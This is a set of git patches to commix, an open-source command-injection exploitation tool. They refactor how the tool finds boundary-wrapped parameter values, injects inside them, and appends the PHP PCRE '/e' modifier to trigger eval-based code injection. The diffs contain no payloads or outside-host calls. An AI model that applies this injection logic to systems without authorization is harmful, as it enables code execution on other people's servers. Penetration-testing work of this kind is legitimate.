b/src/core/injections/controller/checks.py @@ -243,28 +243,67 @@ def load_cmd_history(): """ Get value inside boundaries. """ -def get_value_boundaries(value): - return re.search(settings.VALUE_BOUNDARIES, value).group(1) +def get_value_inside_boundaries(value): + try: + value = re.search(settings.VALUE_BOUNDARIES, value).group(1) + except Exception as ex: + pass + return value """ Check if the value has boundaries. """ def value_boundaries(parameter, value, http_request_method): - _ = get_value_boundaries(value) - message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to inject inside? ('" + str(value.replace(_,_+"*")) + "')? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - value = _ - elif procced_option in settings.CHOICE_NO: - settings.INJECT_INSIDE_BOUNDARIES = False - pass - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() + def check_boundaries_value(parameter, value, http_request_method): + _ = get_value_inside_boundaries(value) + while True: + message = "Do you want to inject inside? ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "')? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.INJECT_INSIDE_BOUNDARIES = True + return _ + elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False + return "" + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + + message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + sys.stdout.write(settings.print_message(message)) + if menu.options.skip_parameter != None : + for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter): + return value + + elif menu.options.test_parameter != None : + for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter): + if parameter.split("=")[0] == test_parameter: + return check_boundaries_value(test_parameter, value, http_request_method) + else: + return value else: - common.invalid_option(procced_option) - pass - return value + return check_boundaries_value(parameter, value, http_request_method) + +""" +Add the PCRE '/e' modifier outside boundaries. +""" +def PCRE_e_modifier(parameter): + if not settings.PCRE_MODIFIER in parameter: + while True: + message = "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "')? [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + return parameter[:-1] + settings.PCRE_MODIFIER + elif modifier_check in settings.CHOICE_NO: + return parameter + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(modifier_check) + pass """ Ignoring the anti-CSRF parameter(s). @@ -764,35 +803,6 @@ def check_CGI_scripts(url): if not _: menu.options.shellshock = False -""" -Add the PCRE_REPLACE_EVAL (/e) modifier -""" -def add_PCRE_REPLACE_EVAL_modifier(url): - try: - if re.findall(r"=/(.*)/&", url) or re.findall(r"=/(.*)/&", menu.options.data): - while True: - message = "Do you want to add the PCRE_REPLACE_EVAL (/e) modifier outside boundaries? [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - settings.PCRE_REPLACE_EVAL = True - if modifier_check in settings.CHOICE_YES: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - return url - elif modifier_check in settings.CHOICE_NO: - return url - elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - common.invalid_option(shellshock_check) - pass - except TypeError as err_msg: - pass - - return url - """ Check if http / https. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8a10ea3c2a..8af52ef40c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -132,13 +132,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): - settings.PCRE_REPLACE_EVAL = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: - url = checks.add_PCRE_REPLACE_EVAL_modifier(url) if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): @@ -228,8 +226,6 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met # Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): - if not settings.PCRE_REPLACE_EVAL: - url = checks.add_PCRE_REPLACE_EVAL_modifier(url) injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" if not settings.SKIP_CODE_INJECTIONS: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c686c88697..6055fd7dee 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -82,7 +82,8 @@ def do_GET_check(url, http_request_method): # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(multi_parameters, value, http_request_method) + value = checks.value_boundaries(parameters, value, http_request_method) + parameters = checks.PCRE_e_modifier(parameters) # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: @@ -128,6 +129,7 @@ def do_GET_check(url, http_request_method): continue if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(all_params[param], value, http_request_method) + all_params[param] = checks.PCRE_e_modifier(all_params[param]) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: @@ -151,7 +153,7 @@ def do_GET_check(url, http_request_method): # Reconstruct the URL url = url_part + "?" + parameter urls_list.append(url) - + return urls_list """ @@ -174,14 +176,14 @@ def vuln_GET_param(url): vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) + settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break else: vuln_parameter = url - + return vuln_parameter """ @@ -254,6 +256,7 @@ def do_POST_check(parameter, http_request_method): return parameter if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(parameter, value, http_request_method) + parameter = checks.PCRE_e_modifier(parameter) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: @@ -275,6 +278,7 @@ def do_POST_check(parameter, http_request_method): # Check for similarity in provided parameter name and value. all_params = all_params.split(settings.PARAMETER_DELIMITER) all_params = checks.check_similarities(all_params) + # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in parameter: if checks.is_empty(multi_parameters, http_request_method): @@ -308,6 +312,7 @@ def do_POST_check(parameter, http_request_method): continue if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(all_params[param], value, http_request_method) + all_params[param] = checks.PCRE_e_modifier(all_params[param]) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: @@ -380,7 +385,7 @@ def vuln_POST_param(parameter, url): vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) + settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break diff --git a/src/utils/settings.py b/src/utils/settings.py index 69241fe3fe..f420248539 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -283,7 +283,7 @@ def sys_argv_errors(): INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' -INJECT_INSIDE_BOUNDARIES = True +INJECT_INSIDE_BOUNDARIES = None # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" @@ -1232,6 +1232,7 @@ def sys_argv_errors(): CHECKING_PARAMETER = "" -PCRE_REPLACE_EVAL = False +USE_PCRE_E_MODIFIER = None +PCRE_MODIFIER = "/e" # eof \ No newline at end of file From bed7e71ccf3fdd5eb26839271c69084a2b26ebd5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 Jan 2023 11:21:39 +0200 Subject: [PATCH 0257/1023] Update regarding commit: https://github.com/commixproject/commix/commit/fde2d6ae19bd671dc00405e2c2ad1725623862b1 --- src/core/injections/controller/checks.py | 74 ++++++++++++++------ src/core/injections/controller/controller.py | 2 - src/core/main.py | 30 +------- src/core/requests/parameters.py | 73 +++++++++++-------- src/utils/settings.py | 2 +- 5 files changed, 99 insertions(+), 82 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 63c945bf94..e74b2e4fee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -257,7 +257,8 @@ def value_boundaries(parameter, value, http_request_method): def check_boundaries_value(parameter, value, http_request_method): _ = get_value_inside_boundaries(value) while True: - message = "Do you want to inject inside? ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "')? [Y/n] > " + message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" + message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.INJECT_INSIDE_BOUNDARIES = True @@ -271,11 +272,12 @@ def check_boundaries_value(parameter, value, http_request_method): common.invalid_option(procced_option) pass - message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - sys.stdout.write(settings.print_message(message)) - if menu.options.skip_parameter != None : + if menu.options.skip_parameter != None: for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter): - return value + if parameter.split("=")[0] != skip_parameter: + return check_boundaries_value(skip_parameter, value, http_request_method) + else: + return value elif menu.options.test_parameter != None : for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter): @@ -289,21 +291,24 @@ def check_boundaries_value(parameter, value, http_request_method): """ Add the PCRE '/e' modifier outside boundaries. """ -def PCRE_e_modifier(parameter): +def PCRE_e_modifier(parameter, http_request_method): if not settings.PCRE_MODIFIER in parameter: - while True: - message = "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "')? [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - if modifier_check in settings.CHOICE_YES: - return parameter[:-1] + settings.PCRE_MODIFIER - elif modifier_check in settings.CHOICE_NO: - return parameter - elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - common.invalid_option(modifier_check) - pass + if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: + while True: + message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + return parameter[:-1] + settings.PCRE_MODIFIER + elif modifier_check in settings.CHOICE_NO: + return parameter + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(modifier_check) + pass + return parameter """ Ignoring the anti-CSRF parameter(s). @@ -996,12 +1001,35 @@ def wildcard_character(data): return data """ -Skip defined +Check provided parameters for tests """ -def check_skipped_params(check_parameters): +def check_provided_parameters(): + if menu.options.test_parameter or menu.options.skip_parameter: + if menu.options.test_parameter != None : + if menu.options.test_parameter.startswith("="): + menu.options.test_parameter = menu.options.test_parameter[1:] + settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + elif menu.options.skip_parameter != None : + if menu.options.skip_parameter.startswith("="): + menu.options.skip_parameter = menu.options.skip_parameter[1:] + settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + for i in range(0,len(settings.TEST_PARAMETER)): + if "=" in settings.TEST_PARAMETER[i]: + settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + +""" +Check defined skipped parameters +""" +def check_skipped_params(check_parameters, http_request_method): settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] + for parameter in check_parameters: + if parameter in ",".join(settings.TEST_PARAMETER).split(","): + info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'." + print(settings.print_info_msg(info_msg)) settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")] - settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) + settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) menu.options.test_parameter = True """ @@ -1054,7 +1082,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): print(settings.print_warning_msg(warn_msg)) if menu.options.skip_parameter != None: - check_skipped_params(check_parameters) + check_skipped_params(check_parameters, http_request_method) """ Only time-relative injection techniques support tamper diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8af52ef40c..46c2a0acd3 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -44,7 +44,6 @@ Check for previously stored sessions. """ def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if not menu.options.tech: @@ -59,7 +58,6 @@ def check_for_stored_sessions(url, http_request_method): Check for previously stored injection level. """ def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: menu.options.level = session_handler.applied_levels(url, http_request_method) diff --git a/src/core/main.py b/src/core/main.py index ef41c3a7c4..d2e21162fb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -417,20 +417,7 @@ def main(filename, url): session_handler.ignore(url) # Check provided parameters for tests - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + checks.check_provided_parameters() # Check injection level, due to the provided testable parameters. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ @@ -840,20 +827,7 @@ def main(filename, url): settings.INJECT_TAG = inject_tag_regex_match.group(0) # Check provided parameters for tests - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + checks.check_provided_parameters() if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: settings.USER_SUPPLIED_LEVEL = menu.options.level diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 6055fd7dee..07a12cad5b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -36,6 +36,14 @@ def get_url_part(url): Check if the 'INJECT_HERE' tag, is specified on GET Requests. """ def do_GET_check(url, http_request_method): + """ + Grab the value of parameter. + """ + def multi_params_get_value(param, all_params): + value = re.findall(r'=(.*)', all_params[param]) + value = ''.join(value) + return value + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) @@ -82,8 +90,8 @@ def do_GET_check(url, http_request_method): # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): + parameters = checks.PCRE_e_modifier(parameters, http_request_method) value = checks.value_boundaries(parameters, value, http_request_method) - parameters = checks.PCRE_e_modifier(parameters) # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: @@ -115,6 +123,11 @@ def do_GET_check(url, http_request_method): all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag if settings.INJECT_TAG not in url: + for param in range(0,len(all_params)): + # Grab the value of parameter. + value = multi_params_get_value(param, all_params) + if re.search(settings.VALUE_BOUNDARIES, value): + all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method) for param in range(0,len(all_params)): if param == 0 : old = re.findall(r'=(.*)', all_params[param]) @@ -122,22 +135,18 @@ def do_GET_check(url, http_request_method): else : old = value # Grab the value of parameter. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) + value = multi_params_get_value(param, all_params) + if re.search(settings.VALUE_BOUNDARIES, value): + value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): continue - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(all_params[param], value, http_request_method) - all_params[param] = checks.PCRE_e_modifier(all_params[param]) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL @@ -153,14 +162,13 @@ def do_GET_check(url, http_request_method): # Reconstruct the URL url = url_part + "?" + parameter urls_list.append(url) - + return urls_list """ Define the vulnerable GET parameter. """ def vuln_GET_param(url): - # Define the vulnerable parameter if "?" not in url: # Grab the value of parameter. @@ -180,7 +188,6 @@ def vuln_GET_param(url): if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break - else: vuln_parameter = url @@ -190,6 +197,23 @@ def vuln_GET_param(url): Check if the 'INJECT_HERE' tag, is specified on POST Requests. """ def do_POST_check(parameter, http_request_method): + """ + Grab the value of parameter. + """ + def multi_params_get_value(param, all_params): + if settings.IS_JSON: + value = re.findall(r'\:(.*)', all_params[param]) + if re.findall(r'\\"(.*)\\"', value[0]): + value = re.findall(r'\\"(.*)\\"', value[0]) + value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) + elif settings.IS_XML: + value = re.findall(r'>(.*)(.*) Date: Mon, 16 Jan 2023 08:28:47 +0200 Subject: [PATCH 0258/1023] Minor update --- src/core/requests/parameters.py | 16 ++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 07a12cad5b..89ffebc764 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -102,14 +102,14 @@ def multi_params_get_value(param, all_params): parameters = parameters + settings.INJECT_TAG else: parameters = parameters.replace(value, value + settings.INJECT_TAG) - else: - # Auto-recognize prefix / suffix - if settings.INJECT_TAG in value: - if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: - menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] - if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: - menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] - parameters = parameters.replace(value, value + settings.INJECT_TAG) + # else: + # # Auto-recognize prefix / suffix + # if settings.INJECT_TAG in value: + # if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: + # menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] + # if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: + # menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] + # parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters urls_list.append(url) diff --git a/src/utils/settings.py b/src/utils/settings.py index fecf28421a..f2c689add8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0ddba4e5fa0ea60c92134255cdb6d4ff30d62344 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 Jan 2023 07:42:05 +0200 Subject: [PATCH 0259/1023] Triviial update --- src/core/injections/controller/checks.py | 73 +++++++++++++++++++- src/core/injections/controller/controller.py | 2 +- src/core/main.py | 70 +------------------ src/utils/settings.py | 2 +- 4 files changed, 73 insertions(+), 74 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e74b2e4fee..3de19d9e25 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -53,6 +53,63 @@ except: settings.READLINE_ERROR = True +""" +Check for custom injection marker (*) +""" +def check_custom_injection_marker(url): + if url and settings.WILDCARD_CHAR in url: + option = "'-u'" + settings.WILDCARD_CHAR_APPLIED = True + elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + option = "POST body" + settings.WILDCARD_CHAR_APPLIED = True + else: + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.COOKIE_INJECTION_LEVEL + + elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: + _ = True + for data in menu.options.headers.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT): + _ = False + if _: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + if settings.WILDCARD_CHAR_APPLIED: + if menu.options.test_parameter: + if not settings.MULTI_TARGETS or settings.STDIN_PARSING: + err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + + while True: + message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + return + elif procced_option in settings.CHOICE_NO: + settings.WILDCARD_CHAR_APPLIED = None + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + """ The available mobile user agents. """ @@ -256,6 +313,13 @@ def get_value_inside_boundaries(value): def value_boundaries(parameter, value, http_request_method): def check_boundaries_value(parameter, value, http_request_method): _ = get_value_inside_boundaries(value) + + if settings.INJECT_TAG in _: + settings.INJECT_INSIDE_BOUNDARIES = False + return "" + if settings.INJECT_TAG in value: + settings.INJECT_INSIDE_BOUNDARIES = True + return _ while True: message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > " @@ -292,16 +356,19 @@ def check_boundaries_value(parameter, value, http_request_method): Add the PCRE '/e' modifier outside boundaries. """ def PCRE_e_modifier(parameter, http_request_method): + original_parameter = parameter + if settings.INJECT_TAG in parameter: + parameter = parameter.replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) if not settings.PCRE_MODIFIER in parameter: if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: while True: message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "') [Y/n] > " + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter.split("=")[1] + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: - return parameter[:-1] + settings.PCRE_MODIFIER + return original_parameter + settings.PCRE_MODIFIER[1:2] elif modifier_check in settings.CHOICE_NO: - return parameter + return original_parameter elif modifier_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 46c2a0acd3..0a1e3c2fa7 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -731,7 +731,7 @@ def basic_level_checks(): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None - + # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: get_request(url, http_request_method, filename, timesec) diff --git a/src/core/main.py b/src/core/main.py index d2e21162fb..ec489abfb8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -60,74 +60,6 @@ # Use Colorama to make Termcolor work on Windows too :) init() -""" -Check for custom injection marker (*) -""" -def check_custom_injection_marker(url): - parameter = "" - if url and settings.WILDCARD_CHAR in url: - option = "'-u'" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_GET_check(url, http_request_method) - parameter = parameters.vuln_GET_param(parameter[0]) - elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: - option = "POST body" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_POST_check(menu.options.data, http_request_method) - parameter = parameters.vuln_POST_param(parameter, url) - else: - option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.COOKIE_INJECTION_LEVEL - cookie = parameters.do_cookie_check(menu.options.cookie) - parameter = parameters.specify_cookie_parameter(cookie) - - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "user-agent" - - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "referer" - - elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: - _ = True - for data in menu.options.headers.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT): - _ = False - if _: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) - - if settings.WILDCARD_CHAR_APPLIED: - if menu.options.test_parameter: - if not settings.MULTI_TARGETS or settings.STDIN_PARSING: - err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "cannot be used simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - - while True: - message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " - message += "Do you want to process it? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - menu.options.test_parameter = parameter - return - elif procced_option in 